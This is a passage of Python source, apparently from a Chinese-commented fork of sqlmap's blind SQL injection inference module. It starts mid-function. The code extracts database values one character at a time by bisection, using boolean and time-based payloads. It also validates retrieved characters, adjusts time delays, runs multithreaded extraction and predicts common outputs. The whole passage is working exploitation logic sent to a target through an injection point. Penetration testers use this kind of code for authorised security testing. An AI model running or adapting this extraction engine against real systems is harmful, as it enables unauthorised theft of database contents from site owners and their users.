                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            用于推理——在基于时间的SQL注入中,如果原始值和检索的值不相等,会延迟响应时间。
            """

            validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare:
                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                if not result:
                    warnMsg = "在验证阶段检测到的HTTP代码'%s'与预期的'%s'不同" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """
            continuousOrder意味着每两个相邻的数值之间的距离正好是1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # 用于逐渐扩展到unicode字符空间
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            while len(charTbl) != 1:
                position = None

                if charsetType is None:
                    if not firstCheck:
                        try:
                            try:
                                lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                            except IndexError:
                                lastChar = None
                            if 'a' <= lastChar <= 'z':
                                position = charTbl.index(ord('a') - 1)  # 96
                            elif 'A' <= lastChar <= 'Z':
                                position = charTbl.index(ord('A') - 1)  # 64
                            elif '0' <= lastChar <= '9':
                                position = charTbl.index(ord('0') - 1)  # 47
                        except ValueError:
                            pass
                        finally:
                            firstCheck = True

                    elif not lastCheck and numThreads == 1:  # 在多线程环境中不可用
                        if charTbl[(len(charTbl) >> 1)] < ord(' '):
                            try:
                                # 如果当前值倾斜到0,则最好使用最后一个字符检查
                                position = charTbl.index(1)
                            except ValueError:
                                pass
                            finally:
                                lastCheck = True

                if position is None:
                    position = (len(charTbl) >> 1)

                posValue = charTbl[position]
                falsePayload = None

                if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                if timeBasedCompare:
                    if kb.responseTimeMode:
                        kb.responseTimePayload = falsePayload
                    else:
                        kb.responseTimePayload = None

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if not timeBasedCompare:
                    unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
                    if unexpectedCode:
                        warnMsg = u"检测到意外的HTTP代码 '%s',在类似情况下使用(额外)验证步骤。" % threadData.lastCode
                        singleTimeWarnMessage(warnMsg)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - 用于内存/空间优化的扩展虚拟字符集
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # 超越原来的字符集
                        elif minValue == maxChar:
                            # 如果原来的charTbl是[0,..,127]
                            # 新的一个将是[128,..,(128 << 4) - 1]或128到2047
                            # 而不是使用所有元素制作一个巨大的列表,
                            # 我们使用一个xrange,它是一个虚拟列表
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    # 推断重新验证字符的最大次数(根据需要)
                                    # MAX_REVALIDATION_STEPS = 5
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = u"检测到无效字符,重试.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = u"时间延迟增加到%d秒%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = u"关闭时间自动调整机制"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = u"无法正确验证最后一个字符值('%s').." % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = u"时间自动调整机制"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # 如果我们正在使用非连续元素,那么minValue和character之后都是可能的候选者
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        # Go 多线程 (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # 作为python嵌套函数范围的列表
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta and not conf.api:
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else " " * len(status)

                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # 如果我们没有正确抓取一个字符,可能意味着与目标URL的连接丢失
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = u"\r[%s] [INFO] 部分检索: %s" % (time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = u"\r[%s] [INFO] 检索: %s" % (time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
                dataToStdout(infoMsg)

        # No 多线程 (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1
                charStart = time.time()

                # 常见的预测功能 (a.k.a. "good samaritan")
                # NOTE: 注意:仅当暂时未设置多线程时使用
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not conf.api:
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not conf.api:
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(u"线程内发生意外事件")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _